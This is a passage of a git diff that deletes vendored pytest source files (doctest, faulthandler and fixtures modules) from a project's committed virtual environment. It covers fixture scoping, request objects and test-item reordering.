`doctest` module flag value. - - We want to do it as late as possible to avoid importing `doctest` and all - its dependencies when parsing options, as it adds overhead and breaks tests. - """ - import doctest - - return { - DOCTEST_REPORT_CHOICE_UDIFF: doctest.REPORT_UDIFF, - DOCTEST_REPORT_CHOICE_CDIFF: doctest.REPORT_CDIFF, - DOCTEST_REPORT_CHOICE_NDIFF: doctest.REPORT_NDIFF, - DOCTEST_REPORT_CHOICE_ONLY_FIRST_FAILURE: doctest.REPORT_ONLY_FIRST_FAILURE, - DOCTEST_REPORT_CHOICE_NONE: 0, - }[key] - - -@fixture(scope="session") -def doctest_namespace() -> dict[str, Any]: - """Fixture that returns a :py:class:`dict` that will be injected into the - namespace of doctests. - - Usually this fixture is used in conjunction with another ``autouse`` fixture: - - .. code-block:: python - - @pytest.fixture(autouse=True) - def add_np(doctest_namespace): - doctest_namespace["np"] = numpy - - For more details: :ref:`doctest_namespace`. - """ - return dict() diff --git a/venv/Lib/site-packages/_pytest/faulthandler.py b/venv/Lib/site-packages/_pytest/faulthandler.py deleted file mode 100644 index 080cf583813bf17efb7244e74711db30723af333..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/faulthandler.py +++ /dev/null @@ -1,119 +0,0 @@ -from __future__ import annotations - -from collections.abc import Generator -import os -import sys - -from _pytest.config import Config -from _pytest.config.argparsing import Parser -from _pytest.nodes import Item -from _pytest.stash import StashKey -import pytest - - -fault_handler_original_stderr_fd_key = StashKey[int]() -fault_handler_stderr_fd_key = StashKey[int]() - - -def pytest_addoption(parser: Parser) -> None: - help_timeout = ( - "Dump the traceback of all threads if a test takes " - "more than TIMEOUT seconds to finish" - ) - help_exit_on_timeout = ( - "Exit the test process if a test takes more than " - "faulthandler_timeout seconds to finish" - ) - parser.addini("faulthandler_timeout", help_timeout, default=0.0) - parser.addini( - "faulthandler_exit_on_timeout", help_exit_on_timeout, type="bool", default=False - ) - - -def pytest_configure(config: Config) -> None: - import faulthandler - - # at teardown we want to restore the original faulthandler fileno - # but faulthandler has no api to return the original fileno - # so here we stash the stderr fileno to be used at teardown - # sys.stderr and sys.__stderr__ may be closed or patched during the session - # so we can't rely on their values being good at that point (#11572). - stderr_fileno = get_stderr_fileno() - if faulthandler.is_enabled(): - config.stash[fault_handler_original_stderr_fd_key] = stderr_fileno - config.stash[fault_handler_stderr_fd_key] = os.dup(stderr_fileno) - faulthandler.enable(file=config.stash[fault_handler_stderr_fd_key]) - - -def pytest_unconfigure(config: Config) -> None: - import faulthandler - - faulthandler.disable() - # Close the dup file installed during pytest_configure. - if fault_handler_stderr_fd_key in config.stash: - os.close(config.stash[fault_handler_stderr_fd_key]) - del config.stash[fault_handler_stderr_fd_key] - # Re-enable the faulthandler if it was originally enabled. - if fault_handler_original_stderr_fd_key in config.stash: - faulthandler.enable(config.stash[fault_handler_original_stderr_fd_key]) - del config.stash[fault_handler_original_stderr_fd_key] - - -def get_stderr_fileno() -> int: - try: - fileno = sys.stderr.fileno() - # The Twisted Logger will return an invalid file descriptor since it is not backed - # by an FD. So, let's also forward this to the same code path as with pytest-xdist. - if fileno == -1: - raise AttributeError() - return fileno - except (AttributeError, ValueError): - # pytest-xdist monkeypatches sys.stderr with an object that is not an actual file. - # https://docs.python.org/3/library/faulthandler.html#issue-with-file-descriptors - # This is potentially dangerous, but the best we can do. - assert sys.__stderr__ is not None - return sys.__stderr__.fileno() - - -def get_timeout_config_value(config: Config) -> float: - return float(config.getini("faulthandler_timeout") or 0.0) - - -def get_exit_on_timeout_config_value(config: Config) -> bool: - exit_on_timeout = config.getini("faulthandler_exit_on_timeout") - assert isinstance(exit_on_timeout, bool) - return exit_on_timeout - - -@pytest.hookimpl(wrapper=True, trylast=True) -def pytest_runtest_protocol(item: Item) -> Generator[None, object, object]: - timeout = get_timeout_config_value(item.config) - exit_on_timeout = get_exit_on_timeout_config_value(item.config) - if timeout > 0: - import faulthandler - - stderr = item.config.stash[fault_handler_stderr_fd_key] - faulthandler.dump_traceback_later(timeout, file=stderr, exit=exit_on_timeout) - try: - return (yield) - finally: - faulthandler.cancel_dump_traceback_later() - else: - return (yield) - - -@pytest.hookimpl(tryfirst=True) -def pytest_enter_pdb() -> None: - """Cancel any traceback dumping due to timeout before entering pdb.""" - import faulthandler - - faulthandler.cancel_dump_traceback_later() - - -@pytest.hookimpl(tryfirst=True) -def pytest_exception_interact() -> None: - """Cancel any traceback dumping due to an interactive exception being - raised.""" - import faulthandler - - faulthandler.cancel_dump_traceback_later() diff --git a/venv/Lib/site-packages/_pytest/fixtures.py b/venv/Lib/site-packages/_pytest/fixtures.py deleted file mode 100644 index f4ca2eac4556b7f2081602451f7309530556f611..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/fixtures.py +++ /dev/null @@ -1,2393 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -import abc -from collections import defaultdict -from collections import deque -from collections import OrderedDict -from collections.abc import Callable -from collections.abc import Generator -from collections.abc import Iterable -from collections.abc import Iterator -from collections.abc import Mapping -from collections.abc import MutableMapping -from collections.abc import Sequence -from collections.abc import Set as AbstractSet -import dataclasses -import functools -import inspect -import os -from pathlib import Path -import sys -import types -from typing import Any -from typing import cast -from typing import Final -from typing import final -from typing import Generic -from typing import Literal -from typing import NoReturn -from typing import overload -from typing import TYPE_CHECKING -from typing import TypeVar -import warnings - -import _pytest -from _pytest import nodes -from _pytest._code import getfslineno -from _pytest._code import Source -from _pytest._code.code import ExceptionInfoFormatter -from _pytest._code.code import TerminalRepr -from _pytest._io import TerminalWriter -from _pytest.compat import assert_never -from _pytest.compat import deprecated -from _pytest.compat import get_real_func -from _pytest.compat import getfuncargnames -from _pytest.compat import getimfunc -from _pytest.compat import getlocation -from _pytest.compat import NOTSET -from _pytest.compat import NotSetType -from _pytest.compat import safe_getattr -from _pytest.compat import safe_isclass -from _pytest.compat import signature -from _pytest.config import _PluggyPlugin -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.deprecated import CLASS_FIXTURE_INSTANCE_METHOD -from _pytest.deprecated import FIXTURE_BASEID_DEPRECATED -from _pytest.deprecated import FIXTURE_GETFIXTUREVALUE_DURING_TEARDOWN -from _pytest.deprecated import FIXTURE_NODEID_DEPRECATED -from _pytest.deprecated import FIXTUREDEF_HAS_LOCATION_DEPRECATED -from _pytest.deprecated import PARSEFACTORIES_NODEID_DEPRECATED -from _pytest.deprecated import YIELD_FIXTURE -from _pytest.main import Session -from _pytest.mark import Mark -from _pytest.mark import ParameterSet -from _pytest.mark.structures import MarkDecorator -from _pytest.outcomes import fail -from _pytest.outcomes import skip -from _pytest.outcomes import TEST_OUTCOME -from _pytest.pathlib import absolutepath -from _pytest.pathlib import bestrelpath -from _pytest.scope import HIGH_SCOPES -from _pytest.scope import Scope -from _pytest.scope import ScopeName -from _pytest.warning_types import PytestWarning - - -if sys.version_info < (3, 11): - from exceptiongroup import BaseExceptionGroup - - -if TYPE_CHECKING: - from _pytest.python import CallSpec2 - from _pytest.python import Function - from _pytest.python import Metafunc - from _pytest.reports import CollectReport - - -# The value of the fixture -- return/yield of the fixture function (type variable). -FixtureValue = TypeVar("FixtureValue", covariant=True) -# The type of the fixture function (type alias). -FixtureFunction = Callable[..., object] -# The type of a fixture function (type alias generic in fixture value). -_FixtureFunc = Callable[..., FixtureValue] | Callable[..., Generator[FixtureValue]] -# The type of FixtureDef.cached_result (type alias generic in fixture value). -_FixtureCachedResult = ( - tuple[ - # The result. - FixtureValue, - # Cache key. - object, - None, - ] - | tuple[ - None, - # Cache key. - object, - # The exception and the original traceback. - tuple[BaseException, types.TracebackType | None], - ] -) - - -def pytest_sessionstart(session: Session) -> None: - session._fixturemanager = FixtureManager(session) - - -def get_scope_package( - node: nodes.Item, - fixturedef: FixtureDef[object], -) -> nodes.Node | None: - from _pytest.python import Package - - for parent in node.iter_parents(): - if isinstance(parent, Package): - if fixturedef.node is not None: - if parent == fixturedef.node: - return parent - else: - if parent.nodeid == fixturedef.baseid: - return parent - return node.session - - -def is_visibility_more_specific( - candidate: FixtureDef[Any], other: FixtureDef[Any] -) -> bool: - """Return whether the visibility of ``candidate`` is strictly more specific - than that of ``other``, i.e. ``candidate`` is defined on a strict descendant - in the collection tree of where ``other`` is defined.""" - if candidate.node is None or other.node is None: - # Fallback for fixtures registered with a string nodeid (deprecated). - # In this case compare baseids, which are nodeid prefixes. - # This branch can be removed once baseid deprecation is done (pytest 10). - if candidate.baseid == other.baseid: - return False - if other.baseid == "": - return True - # `candidate.baseid` must continue with a node separator for it to be a - # true descendant. - return candidate.baseid.startswith(other.baseid) and candidate.baseid[ - len(other.baseid) - ] in ("/", ":") - - return ( - candidate.node is not other.node and other.node in candidate.node.iter_parents() - ) - - -def get_scope_node(node: nodes.Node, scope: Scope) -> nodes.Node | None: - """Get the closest parent node (including self) which matches the given - scope. - - If there is no parent node for the scope (e.g. asking for class scope on a - Module, or on a Function when not defined in a class), returns None. - """ - import _pytest.python - - if scope is Scope.Function: - # Type ignored because this is actually safe, see: - # https://github.com/python/mypy/issues/4717 - return node.getparent(nodes.Item) # type: ignore[type-abstract] - elif scope is Scope.Class: - return node.getparent(_pytest.python.Class) - elif scope is Scope.Module: - return node.getparent(_pytest.python.Module) - elif scope is Scope.Package: - return node.getparent(_pytest.python.Package) - elif scope is Scope.Session: - return node.getparent(_pytest.main.Session) - else: - assert_never(scope) - - -# TODO: Try to use FixtureFunctionDefinition instead of the marker -def getfixturemarker(obj: object) -> FixtureFunctionMarker | None: - """Return fixturemarker or None if it doesn't exist""" - if isinstance(obj, FixtureFunctionDefinition): - return obj._fixture_function_marker - return None - - -# Algorithm for sorting on a per-parametrized resource setup basis. -# It is called for Session scope first and performs sorting -# down to the lower scopes such as to minimize number of "high scope" -# setups and teardowns. - - -@dataclasses.dataclass(frozen=True) -class ParamArgKey: - """A key for a high-scoped parameter used by an item. - - For use as a hashable key in `reorder_items`. The combination of fields - is meant to uniquely identify a particular "instance" of a param, - potentially shared by multiple items in a scope. - """ - - #: The param name. - argname: str - param_index: int - #: For scopes Package, Module, Class, the path to the file (directory in - #: Package's case) of the package/module/class where the item is defined. - scoped_item_path: Path | None - #: For Class scope, the class where the item is defined. - item_cls: type | None - - -_V = TypeVar("_V") -OrderedSet = dict[_V, None] - - -def get_param_argkeys(item: nodes.Item, scope: Scope) -> Iterator[ParamArgKey]: - """Return all ParamArgKeys for item matching the specified high scope.""" - assert scope is not Scope.Function - - try: - callspec: CallSpec2 = item.callspec # type: ignore[attr-defined] - except AttributeError: - return - - item_cls = None - if scope is Scope.Session: - scoped_item_path = None - elif scope is Scope.Package: - # Package key = module's directory. - scoped_item_path = item.path.parent - elif scope is Scope.Module: - scoped_item_path = item.path - elif scope is Scope.Class: - scoped_item_path = item.path - item_cls = item.cls # type: ignore[attr-defined] - else: - assert_never(scope) - - for argname in callspec.indices: - if callspec._arg2scope[argname] != scope: - continue - param_index = callspec.indices[argname] - yield ParamArgKey(argname, param_index, scoped_item_path, item_cls) - - -def reorder_items(items: Sequence[nodes.Item]) -> list[nodes.Item]: - argkeys_by_item: dict[Scope, dict[nodes.Item, OrderedSet[ParamArgKey]]] = {} - items_by_argkey: dict[Scope, dict[ParamArgKey, OrderedDict[nodes.Item, None]]] = {} - for scope in HIGH_SCOPES: - scoped_argkeys_by_item = argkeys_by_item[scope] = {} - scoped_items_by_argkey = items_by_argkey[scope] = defaultdict(OrderedDict) - for item in items: - argkeys = dict.fromkeys(get_param_argkeys(item, scope)) - if argkeys: - scoped_argkeys_by_item[item] = argkeys - for argkey in argkeys: - scoped_items_by_argkey[argkey][item] = None - - items_set = dict.fromkeys(items) - return list( - reorder_items_atscope( - items_set, argkeys_by_item, items_by_argkey, Scope.Session - ) - ) - - -def reorder_items_atscope( - items: OrderedSet[nodes.Item], - argkeys_by_item: Mapping[Scope, Mapping[nodes.Item, OrderedSet[ParamArgKey]]], - items_by_argkey: Mapping[ - Scope, Mapping[ParamArgKey, OrderedDict[nodes.Item, None]] - ], - scope: Scope, -) -> OrderedSet[nodes.Item]: - if scope is Scope.Function or len(items) < 3: - return items - - scoped_items_by_argkey = items_by_argkey[scope] - scoped_argkeys_by_item = argkeys_by_item[scope] - - ignore: set[ParamArgKey] = set() - items_deque = deque(items) - items_done: OrderedSet[nodes.Item] = {} - while items_deque: - no_argkey_items: OrderedSet[nodes.Item] = {} - slicing_argkey = None - while items_deque: - item = items_deque.popleft() - if item in items_done or item in no_argkey_items: - continue - argkeys = dict.fromkeys( - k for k in scoped_argkeys_by_item.get(item, ()) if k not in ignore - ) - if not argkeys: - no_argkey_items[item] = None - else: - slicing_argkey, _ = argkeys.popitem() - # We don't have to remove relevant items from later in the - # deque because they'll just be ignored. - matching_items = [ - i for i in scoped_items_by_argkey[slicing_argkey] if i in items - ] - for i in reversed(matching_items): - items_deque.appendleft(i) - # Fix items_by_argkey order. - for other_scope in HIGH_SCOPES: - other_scoped_items_by_argkey = items_by_argkey[other_scope] - for argkey in argkeys_by_item[other_scope].get(i, ()): - argkey_dict = other_scoped_items_by_argkey[argkey] - if not hasattr(sys, "pypy_version_info"): - argkey_dict[i] = None - argkey_dict.move_to_end(i, last=False) - else: - # Work around a bug in PyPy: - # https://github.com/pypy/pypy/issues/5257 - # https://github.com/pytest-dev/pytest/issues/13312 - bkp = argkey_dict.copy() - argkey_dict.clear() - argkey_dict[i] = None - argkey_dict.update(bkp) - break - if no_argkey_items: - reordered_no_argkey_items = reorder_items_atscope( - no_argkey_items, argkeys_by_item, items_by_argkey, scope.next_lower() - ) - items_done.update(reordered_no_argkey_items) - if slicing_argkey is not None: - ignore.add(slicing_argkey) - return items_done - - -def traverse_fixture_closure( - initialnames: Iterable[str], - *, - getfixturedefs: Callable[[str], Sequence[FixtureDef[Any]] | None], -) -> Iterator[str]: - """Statically traverse the fixture dependency closure in DFS order starting - from initialnames, yielding all requested fixture names (argnames). - - Each argname is only yielded once. - """ - # Track the index for each fixture name in the simulated stack. - # Needed for handling override chains correctly, similar to - # FixtureRequest._get_active_fixturedef. - # Using negative indices: -1 is the most specific (last), -2 is second to - # last, etc. - current_indices: dict[str, int] = {} - - def process_argname(argname: str) -> Iterator[str]: - index = current_indices.get(argname) - - # Optimization: already processed this argname. - if index == -1: - return - - # Only yield each argname once. - if index is None: - yield argname - current_indices[argname] = -1 - - fixturedefs = getfixturedefs(argname) - if not fixturedefs: - return - - index = current_indices.get(argname, -1) - if -index > len(fixturedefs): - # Exhausted the override chain (will error during runtest). - return - fixturedef = fixturedefs[index] - - current_indices[argname] = index - 1 - for dep in fixturedef.argnames: - yield from process_argname(dep) - current_indices[argname] = index - - for argname in initialnames: - yield from process_argname(argname) - - -@dataclasses.dataclass(frozen=True) -class FuncFixtureInfo: - """Fixture-related information for a fixture-requesting item (e.g. test - function). - - This is used to examine the fixtures which an item requests statically - (known during collection). This includes autouse fixtures, fixtures - requested by the `usefixtures` marker, fixtures requested in the function - parameters, and the transitive closure of these. - - An item may also request fixtures dynamically (using `request.getfixturevalue`); - these are not reflected here. - """ - - __slots__ = ("argnames", "initialnames", "name2fixturedefs", "names_closure") - - # Fixture names that the item requests directly by function parameters. - argnames: tuple[str, ...] - # Fixture names that the item immediately requires. These include - # argnames + fixture names specified via usefixtures and via autouse=True in - # fixture definitions. - initialnames: tuple[str, ...] - # The transitive closure of the fixture names that the item requires. - # Note: can't include dynamic dependencies (`request.getfixturevalue` calls). - names_closure: list[str] - # A map from a fixture name in the transitive closure to the FixtureDefs - # matching the name which are applicable to this function. - # There may be multiple overriding fixtures with the same name. The - # sequence is ordered from furthest to closes to the function. - name2fixturedefs: dict[str, Sequence[FixtureDef[Any]]] - - def prune_dependency_tree(self) -> None: - """Recompute names_closure from initialnames and name2fixturedefs. - - Can only reduce names_closure, which means that the new closure will - always be a subset of the old one. The order is preserved. - - This method is needed because direct parametrization may shadow some - of the fixtures that were included in the originally built dependency - tree. In this way the dependency tree can get pruned, and the closure - of argnames may get reduced. - """ - closure = set( - traverse_fixture_closure( - self.initialnames, - getfixturedefs=self.name2fixturedefs.get, - ) - ) - self.names_closure[:] = (name for name in self.names_closure if name in closure) - - -class FixtureRequest(abc.ABC): - """The type of the ``request`` fixture. - - A request object gives access to the requesting test context and has a - ``param`` attribute in case the fixture is parametrized. - """ - - def __init__( - self, - pyfuncitem: Function, - fixturename: str | None, - arg2fixturedefs: Mapping[str, Sequence[FixtureDef[Any]]], - fixture_defs: dict[str, FixtureDef[Any]], - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - #: Fixture for which this request is being performed. - self.fixturename: Final = fixturename - self._pyfuncitem: Final = pyfuncitem - # The FixtureDefs for each fixture name statically requested by this - # item (computed during collection). Dynamically requested fixtures - # (using `request.getfixturevalue("foo")`) are not included here. - self._arg2fixturedefs: Final = arg2fixturedefs - # The evaluated argnames so far, mapping to the FixtureDef they resolved - # to. - self._fixture_defs: Final = fixture_defs - # Notes on the type of `param`: - # -`request.param` is only defined in parametrized fixtures, and will raise - # AttributeError otherwise. Python typing has no notion of "undefined", so - # this cannot be reflected in the type. - # - Technically `param` is only (possibly) defined on SubRequest, not - # FixtureRequest, but the typing of that is still in flux so this cheats. - # - In the future we might consider using a generic for the param type, but - # for now just using Any. - self.param: Any - - @property - def _fixturemanager(self) -> FixtureManager: - return self._pyfuncitem.session._fixturemanager - - @property - @abc.abstractmethod - def _scope(self) -> Scope: - raise NotImplementedError() - - @property - def scope(self) -> ScopeName: - """Scope string, one of "function", "class", "module", "package", "session".""" - return self._scope.value - - @abc.abstractmethod - def _check_scope( - self, - requested_fixturedef: FixtureDef[object], - requested_scope: Scope, - ) -> None: - raise NotImplementedError() - - @property - def fixturenames(self) -> list[str]: - """Names of all active fixtures in this request.""" - result = list(self._pyfuncitem.fixturenames) - result.extend(set(self._fixture_defs).difference(result)) - return result - - @property - @abc.abstractmethod - def node(self): - """Underlying collection node (depends on current request scope).""" - raise NotImplementedError() - - @property - def config(self) -> Config: - """The pytest config object associated with this request.""" - return self._pyfuncitem.config - - @property - def function(self): - """Test function object if the request has a per-function scope.""" - if self.scope != "function": - raise AttributeError( - f"function not available in {self.scope}-scoped context" - ) - return self._pyfuncitem.obj - - @property - def cls(self): - """Class (can be None) where the test function was collected.""" - if self.scope not in ("class", "function"): - raise AttributeError(f"cls not available in {self.scope}-scoped context") - clscol = self._pyfuncitem.getparent(_pytest.python.Class) - if clscol: - return clscol.obj - - @property - def instance(self): - """Instance (can be None) on which test function was collected.""" - if self.scope != "function": - return None - return getattr(self._pyfuncitem, "instance", None) - - @property - def module(self): - """Python module object where the test function was collected.""" - if self.scope not in ("function", "class", "module"): - raise AttributeError(f"module not available in {self.scope}-scoped context") - mod = self._pyfuncitem.getparent(_pytest.python.Module) - assert mod is not None - return mod.obj - - @property - def path(self) -> Path: - """Path where the test function was collected.""" - if self.scope not in ("function", "class", "module", "package"): - raise AttributeError(f"path not available in {self.scope}-scoped context") - return self._pyfuncitem.path - - @property - def keywords(self) -> MutableMapping[str, Any]: - """Keywords/markers dictionary for the underlying node.""" - node: nodes.Node = self.node - return node.keywords - - @property - def session(self) -> Session: - """Pytest session object.""" - return self._pyfuncitem.session - - @abc.abstractmethod - def addfinalizer(self, finalizer: Callable[[], object]) -> None: - """Add finalizer/teardown function to be called without arguments after - the last test within the requesting test context finished execution.""" - raise NotImplementedError() - - def applymarker(self, marker: str | MarkDecorator) -> None: - """Apply a marker to a single test function invocation. - - This method is useful if you don't want to have a keyword/marker - on all function invocations. - - :param marker: - An object created by a call to ``pytest.mark.NAME(...)``. - """ - self.node.add_marker(marker) - - def raiseerror(self, msg: str | None) -> NoReturn: - """Raise a FixtureLookupError exception. - - :param msg: - An optional custom error message. - """ - raise FixtureLookupError(None, self, msg) - - def _raise_teardown_lookup_error(self, argname: str) -> NoReturn: - msg = ( - f'The fixture value for "{argname}" is not available during teardown ' - "because it was not previously requested.\n" - "Only fixtures that were already active can be retrieved during teardown.\n" - "Request the fixture before teardown begins by declaring it in the fixture " - "signature or by calling request.getfixturevalue() before the fixture yields." - ) - raise FixtureLookupError(argname, self, msg) - - def getfixturevalue(self, argname: str) -> Any: - """Dynamically run a named fixture function. - - Declaring fixtures via function argument is recommended where possible. - But if you can only decide whether to use another fixture at test - setup time, you may use this function to retrieve it inside a fixture - or test function body. - - This method can be used during the test setup phase or the test run - phase. Avoid using it during the teardown phase. - - .. versionchanged:: 9.1 - Calling ``request.getfixturevalue()`` during teardown to request a - fixture that was not already requested - :ref:`is deprecated `. - - :param argname: - The fixture name. - :raises pytest.FixtureLookupError: - If the given fixture could not be found. - """ - # Note that in addition to the use case described in the docstring, - # getfixturevalue() is also called by pytest itself during item and fixture - # setup to evaluate the fixtures that are requested statically - # (using function parameters, autouse, etc). - - fixturedef = self._get_active_fixturedef(argname) - assert fixturedef.cached_result is not None, ( - f'The fixture value for "{argname}" is not available. ' - "This can happen when the fixture has already been torn down." - ) - return fixturedef.cached_result[0] - - def _iter_chain(self) -> Iterator[SubRequest]: - """Yield all SubRequests in the chain, from self up. - - Note: does *not* yield the TopRequest. - """ - current = self - while isinstance(current, SubRequest): - yield current - current = current._parent_request - - def _get_active_fixturedef(self, argname: str) -> FixtureDef[object]: - if argname == "request": - return RequestFixtureDef(self) - - # If we already finished computing a fixture by this name in this item, - # return it. - fixturedef = self._fixture_defs.get(argname) - if fixturedef is not None: - self._check_scope(fixturedef, fixturedef._scope) - return fixturedef - - # Find the appropriate fixturedef. - fixturedefs = self._arg2fixturedefs.get(argname, None) - if fixturedefs is None: - # We arrive here because of a dynamic call to - # getfixturevalue(argname) which was naturally - # not known at parsing/collection time. - fixturedefs = self._fixturemanager.getfixturedefs(argname, self._pyfuncitem) - # No fixtures defined with this name. - if fixturedefs is None: - raise FixtureLookupError(argname, self) - # The are no fixtures with this name applicable for the function. - if not fixturedefs: - raise FixtureLookupError(argname, self) - - # A fixture may override another fixture with the same name, e.g. a - # fixture in a module can override a fixture in a conftest, a fixture in - # a class can override a fixture in the module, and so on. - # An overriding fixture can request its own name (possibly indirectly); - # in this case it gets the value of the fixture it overrides, one level - # up. - # Check how many `argname`s deep we are, and take the next one. - # `fixturedefs` is sorted from furthest to closest, so use negative - # indexing to go in reverse. - index = -1 - for request in self._iter_chain(): - if request.fixturename == argname: - index -= 1 - # If already consumed all of the available levels, fail. - if -index > len(fixturedefs): - raise FixtureLookupError(argname, self) - fixturedef = fixturedefs[index] - - # Prepare a SubRequest object for calling the fixture. - try: - callspec = self._pyfuncitem.callspec - except AttributeError: - callspec = None - if callspec is not None and argname in callspec.params: - param = callspec.params[argname] - param_index = callspec.indices[argname] - # The parametrize invocation scope overrides the fixture's scope. - scope = callspec._arg2scope[argname] - else: - param = NOTSET - param_index = 0 - scope = fixturedef._scope - self._check_fixturedef_without_param(fixturedef) - # The parametrize invocation scope only controls caching behavior while - # allowing wider-scoped fixtures to keep depending on the parametrized - # fixture. Scope control is enforced for parametrized fixtures - # by recreating the whole fixture tree on parameter change. - # Hence `fixturedef._scope`, not `scope`. - self._check_scope(fixturedef, fixturedef._scope) - subrequest = SubRequest( - self, scope, param, param_index, fixturedef, _ispytest=True - ) - - if not self.session._setupstate.is_node_active(self.node): - # TODO(pytest10.1): Remove the `warn` and `if` and call - # _raise_teardown_lookup_error unconditionally. - warnings.warn( - FIXTURE_GETFIXTUREVALUE_DURING_TEARDOWN.format(argname=argname), - stacklevel=3, - ) - if subrequest.node not in self.session._setupstate.stack: - self._raise_teardown_lookup_error(argname) - - # Make sure the fixture value is cached, running it if it isn't - fixturedef.execute(request=subrequest) - - self._fixture_defs[argname] = fixturedef - return fixturedef - - def _check_fixturedef_without_param(self, fixturedef: FixtureDef[object]) -> None: - """Check that this request is allowed to execute this fixturedef without - a param.""" - funcitem = self._pyfuncitem - has_params = fixturedef.params is not None - fixtures_not_supported = getattr(funcitem, "nofuncargs", False) - if has_params and fixtures_not_supported: - msg = ( - f"{funcitem.name} does not support fixtures, maybe unittest.TestCase subclass?\n" - f"Node id: {funcitem.nodeid}\n" - f"Function type: {type(funcitem).__name__}" - ) - fail(msg, pytrace=False) - if has_params: - frame = inspect.stack()[3] - frameinfo = inspect.getframeinfo(frame[0]) - source_path = absolutepath(frameinfo.filename) - source_lineno = frameinfo.lineno - try: - source_path_str = str(source_path.relative_to(funcitem.config.rootpath)) - except ValueError: - source_path_str = str(source_path) - location = getlocation(fixturedef.func, funcitem.config.rootpath) - msg = ( - "The requested fixture has no parameter defined for test:\n" - f" {funcitem.nodeid}\n\n" - f"Requested fixture '{fixturedef.argname}' defined in:\n" - f"{location}\n\n" - f"Requested here:\n" - f"{source_path_str}:{source_lineno}" - ) - fail(msg, pytrace=False) - - def _get_fixturestack(self) -> list[FixtureDef[Any]]: - values = [request._fixturedef for request in self._iter_chain()] - values.reverse() - return values - - -@final -class TopRequest(FixtureRequest): - """The type of the ``request`` fixture in a test function.""" - - def __init__(self, pyfuncitem: Function, *, _ispytest: bool = False) -> None: - super().__init__( - fixturename=None, - pyfuncitem=pyfuncitem, - arg2fixturedefs=pyfuncitem._fixtureinfo.name2fixturedefs, - fixture_defs={}, - _ispytest=_ispytest, - ) - - @property - def _scope(self) -> Scope: - return Scope.Function - - def _check_scope( - self, - requested_fixturedef: FixtureDef[object], - requested_scope: Scope, - ) -> None: - # TopRequest always has function scope so always valid. - pass - - @property - def node(self): - return self._pyfuncitem - - def __repr__(self) -> str: - return f"" - - def _fillfixtures(self) -> None: - item = self._pyfuncitem - for argname in item.fixturenames: - if argname not in item.funcargs: - item.funcargs[argname] = self.getfixturevalue(argname) - - def addfinalizer(self, finalizer: Callable[[], object]) -> None: - self.node.addfinalizer(finalizer) - - -@final -class SubRequest(FixtureRequest): - """The type of the ``request`` fixture in a fixture function requested - (transitively) by a test function.""" - - def __init__( - self, - request: FixtureRequest, - scope: Scope, - param: Any, - param_index: int, - fixturedef: FixtureDef[object], - *, - _ispytest: bool = False, - ) -> None: - super().__init__( - pyfuncitem=request._pyfuncitem, - fixturename=fixturedef.argname, - fixture_defs=request._fixture_defs, - arg2fixturedefs=request._arg2fixturedefs, - _ispytest=_ispytest, - ) - self._parent_request: Final[FixtureRequest] = request - self._fixturedef: Final[FixtureDef[object]] = fixturedef - if param is not NOTSET: - self.param = param - self.param_index: Final = param_index - self._scope_field: Final = scope - if scope is Scope.Function: - # This might also be a non-function Item despite its attribute name. - node: nodes.Node | None = self._pyfuncitem - elif scope is Scope.Package: - node = get_scope_package(self._pyfuncitem, self._fixturedef) - else: - node = get_scope_node(self._pyfuncitem, scope) - if node is None and scope is Scope.Class: - # Fallback to function item itself. - node = self._pyfuncitem - assert node, ( - f'Could not obtain a node for scope "{scope}" for function {self._pyfuncitem!r}' - ) - self._node: Final = node - - def __repr__(self) -> str: - return f"" - - @property - def _scope(self) -> Scope: - return self._scope_field - - @property - def node(self): - return self._node - - def _check_scope( - self, - requested_fixturedef: FixtureDef[object], - requested_scope: Scope, - ) -> None: - if self._scope > requested_scope: - # Try to report something helpful. - argname = requested_fixturedef.argname - fixture_stack = "\n".join( - self._format_fixturedef_line(fixturedef) - for fixturedef in self._get_fixturestack() - ) - requested_fixture = self._format_fixturedef_line(requested_fixturedef) - fail( - f"ScopeMismatch: You tried to access the {requested_scope.value} scoped " - f"fixture {argname} with a {self._scope.value} scoped request object. " - f"Requesting fixture stack:\n{fixture_stack}\n" - f"Requested fixture:\n{requested_fixture}", - pytrace=False, - ) - - def _format_fixturedef_line(self, fixturedef: FixtureDef[object]) -> str: - factory = fixturedef.func - path, lineno = getfslineno(factory) - if isinstance(path, Path): - path = bestrelpath(self._pyfuncitem.session.path, path) - sig = signature(factory) - return f"{path}:{lineno + 1}: def {factory.__name__}{sig}" - - def addfinalizer(self, finalizer: Callable[[], object]) -> None: - self._fixturedef.addfinalizer(finalizer) - - -@final -class FixtureLookupError(LookupError): - """Could not return a requested fixture (missing or invalid).""" - - def __init__( - self, argname: str | None, request: FixtureRequest, msg: str | None = None - ) -> None: - self.argname = argname - self.request = request - self.fixturestack = request._get_fixturestack() - self.msg = msg - - def formatrepr(self) -> FixtureLookupErrorRepr: - tblines: list[str] = [] - addline = tblines.append - stack = [self.request._pyfuncitem.obj] - stack.extend(map(lambda x: x.func, self.fixturestack)) - msg = self.msg - if msg is not None and len(stack) > 1: - # The last fixture raise an error, let's present - # it at the requesting side. - stack = stack[:-1] - for function in stack: - fspath, lineno = getfslineno(function) - try: - lines, _ = inspect.getsourcelines(get_real_func(function)) - except (OSError, IndexError, TypeError): - error_msg = "file %s, line %s: source code not available" - addline(error_msg % (fspath, lineno + 1)) - else: - addline(f"file {fspath}, line {lineno + 1}") - for i, line in enumerate(lines): - line = line.rstrip() - addline(" " + line) - if line.lstrip().startswith("def"): - break - - if msg is None: - fm = self.request._fixturemanager - available = set() - parent = self.request._pyfuncitem.parent - assert parent is not None - for name, fixturedefs in fm._arg2fixturedefs.items(): - faclist = list(fm._matchfactories(fixturedefs, parent)) - if faclist: - available.add(name) - if self.argname in available: - msg = ( - f" recursive dependency involving fixture '{self.argname}' detected" - ) - else: - msg = f"fixture '{self.argname}' not found" - msg += "\n available fixtures: {}".format(", ".join(sorted(available))) - msg += "\n use 'pytest --fixtures [testpath]' for help on them." - - return FixtureLookupErrorRepr(fspath, lineno, tblines, msg, self.argname) - - -class FixtureLookupErrorRepr(TerminalRepr): - def __init__( - self, - filename: str | os.PathLike[str], - firstlineno: int, - tblines: Sequence[str], - errorstring: str, - argname: str | None, - ) -> None: - self.tblines = tblines - self.errorstring = errorstring - self.filename = filename - 